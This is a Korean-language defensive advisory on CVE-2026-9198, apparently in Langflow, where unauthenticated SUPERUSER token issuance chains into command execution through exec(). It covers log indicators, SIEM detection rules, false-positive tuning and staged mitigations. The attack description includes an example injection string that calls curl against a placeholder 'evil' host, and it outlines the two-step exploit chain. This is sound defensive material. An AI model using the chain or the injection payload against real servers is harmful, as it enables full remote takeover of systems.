[단독방어] 분석 — CVE-2026-9198

• 심각도 critical · CVSS 9.8 · EPSS 0.01886 · 악용난이도 easy · KEV

공격자는 외부에서 인증 없이 POST /api/v1/auto_login 요청을 보내면 SUPERUSER 토큰이 발급됩니다. 동일 IP·세션으로 바로 이어서 POST /api/v1/validate/code 에 악의적인 문자열(예: ; curl http://evil)을 전달하면 백엔드에서 exec() 가 호출되어 명령이 실행됩니다. 네트워크 접근만 있으면 추가 권한이나 사용자 개입 없이 전체 시스템을 장악할 수 있습니다.

악용 가능성: 이 취약점은 CVSS 벡터 AV:N/AC:L/PR:N/UI:N 로 표시되는데, 이는 공격자가 네트워크만 연결되면 별다른 사전 조건 없이(복잡도 낮음, 권한·상호작용 필요 없음) 원격으로 악용할 수 있음을 의미합니다. EPSS 값이 0.01886(≈1.9 %) 로 비교적 높은 편이며, KEV 목록에 등재된 점은 실제 공격 사례가 보고되고 있어 이론적 심각도와 무관하게 실질적인 위협임을 입증합니다. 공격자는 기본 배포 상태에서 공개된 /api/v1/auto_login 엔드포인트를 호출해 SUPERUSER 토큰을 획득한 뒤, 동일 서버의 /api/v1/validate/code 에 임의 코드를 전달하면 exec() 가 실행되어 전체 시스템에 원격 코드 실행(RCE)이 가능합니다. 두 API 모두 인증 절차가 없고 HTTP POST 혹은 GET 파라미터만으로 호출 가능하므로 외부에서 직접 접근 가능한 모든 IP·포트가 공격 표면이 됩니다. 따라서 네트워크 경계에서 해당 엔드포인트를 차단하거나 요청 패턴을 제한하지 않을 경우, 공격자는 거의 즉시 전체 권한을 탈취할 수 있습니다. 이러한 조건은 “easy” 등급 판단과 일치하며, 방어 측에서는 노출된 API 자체의 존재 여부와 접근 제어 부재가 가장 큰 위험 요소임을 인식해야 합니다.

• 발급된 SUPERUSER 토큰으로 Langflow 모든 API와 설정에 무제한 접근 가능
• exec() 로 인한 임의 쉘 명령 실행 → 파일 삭제, 서비스 중단, 민감 데이터 탈취 등
• 동일 네트워크 내 다른 호스트로 lateral movement 가능

인증 우회(CWE‑287)와 OS 명령 주입(CWE‑78)이 연계된 형태이며, 토큰 발급 로직과 코드 검증 로직을 차례로 이용하는 체인 공격입니다. (다중 소스에서 일관성이 확인됨)

로그 지표

• access.log : client_ip, request_path, response_status, user_agent
• auth.log : token_type, issued_by, issuer_ip
• error.log : executed_command, exit_code

SIEM 탐지 규칙 예시

1. Unauthenticated SUPERUSER token issuance

 1source = web_access
 2where request_path == "/api/v1/auto_login"
 3  and response_status == 200
 4  and token_type == "SUPERUSER"
 5  and auth_user is null
 6alert "Unauthenticated SUPERUSER token issued"

1. Suspicious command execution via validate/code

 1source = app_error
 2where request_path == "/api/v1/validate/code"
 3  and executed_command matches /(?i)(;|\&\&|`|\$\(|\|\|)/
 4alert "Potential OS command injection attempt"

1. Chained sequence detection (auto_login → validate/code)

 1source = web_access
 2pattern:
 3  - step1: request_path == "/api/v1/auto_login" and response_status == 200 within 5s
 4  - step2: same client_ip && request_path == "/api/v1/validate/code"
 5alert "Auto‑login followed by code execution – possible exploit chain"

오탐 튜닝

• 내부 CI/CD 파이프라인에서 정상적으로 /api/v1/auto_login 과 /api/v1/validate/code 를 호출하는 경우, client_ip 가 사내 신뢰 구역(예: 10.0.0.0/8)이면 화이트리스트에 추가합니다.
• 허용된 관리 명령(git pull, npm install 등)은 별도 허용 리스트를 정의하고, 위 정규식이 포함된 경우라도 해당 명령어만은 오탐으로 제외하도록 rule‑exception을 설정합니다.

즉시(긴급 차단)

• 웹 서버(Nginx/Apache) 혹은 외부 방화벽에서 /api/v1/auto_login 경로에 대한 모든 외부 접근을 403 응답으로 차단한다. 예: location /api/v1/auto_login { deny all; }
• 구현 난이도 ★★ (설정 파일 수정 후 reload)
• 운영 영향 : 인증 없이 토큰 발급 기능 전면 차단, 서비스 가용성에 직접적인 영향 없음
• 검증 방법 : 외부 IP에서 curl -i http://<host>/api/v1/auto_login 수행 시 403 반환 확인

단기(완화)

1. /api/v1/auto_login 과 /api/v1/validate/code 에 인증(Authorization: Bearer <token>)을 강제하고, 토큰 발급 정책을 관리자 전용으로 제한한다.
2. 소스 IP 기반 ACL 적용 – 내부 관리망(예: 10.0.0.0/8)만 접근 허용.
3. 레이트‑리밋 적용 – 동일 IP당 1초에 ≤5건 요청 초과 시 429 반환.

• 구현 난이도 ★★★ (애플리케이션 설정 및 방화벽 규칙 추가)
• 운영 영향 : 외부 통합 서비스가 차단될 수 있어 사전 검증 필요, 내부 관리자는 정상 이용 가능
• 검증 방법 : 비인가 IP에서 요청 시 401/403 반환 확인, 허용된 IP에서는 정상 토큰 발급 및 코드 실행 테스트

근본(해결)

• 공급자가 제공한 보안 패치가 포함된 버전 ≥ 1.11.0(또는 최신 OSS 릴리즈)으로 업그레이드한다.
• 업그레이드 전 컨테이너 이미지 서명 검증, 데이터베이스 백업 및 마이그레이션을 수행하고, 배포 파이프라인에서 무중단 롤링 업데이트 적용.
• 구현 난이도 ★★★★ (버전 교체·마이그레이션)
• 운영 영향 : 서비스 재시작에 따른 일시적 다운타임 발생 가능, 테스트 환경에서 충분히 검증 필요
• 검증 방법 : 업그레이드 후 /api/v1/auto_login 에 비인가 요청 시 401 반환 확인 및 CVE 스캐너에서 해당 취약점이 탐지되지 않음

우선순위 근거
다중 소스 교차검증 결과 CVSS 9.8·KEV 등재·EPSS 0.01886(≈1.9% 실제 악용 확률)·Exploit easy 로 판단돼 즉시 대응이 요구됩니다. 규칙 기반 우선순위 로직에 따라 “immediate (24h 내)” 조치가 권장됩니다.

패치 이후 잔여 리스크
자동 로그인 경로와 코드 실행 API가 차단·업그레이드되면 현재 보고된 체인은 사라지지만, 다른 입력 검증이 미비한 API가 존재할 가능성에 대비해 전반적인 파라미터 검증 정책을 강화하고 정기적인 보안 테스트(펜테스트·코드 리뷰)를 수행해야 합니다.

• 조치: immediate (지금 즉시(24h 내))
• 근거: CVSS=9.8 · KEV · EPSS=0.01886 · exploit=easy · in_scope=None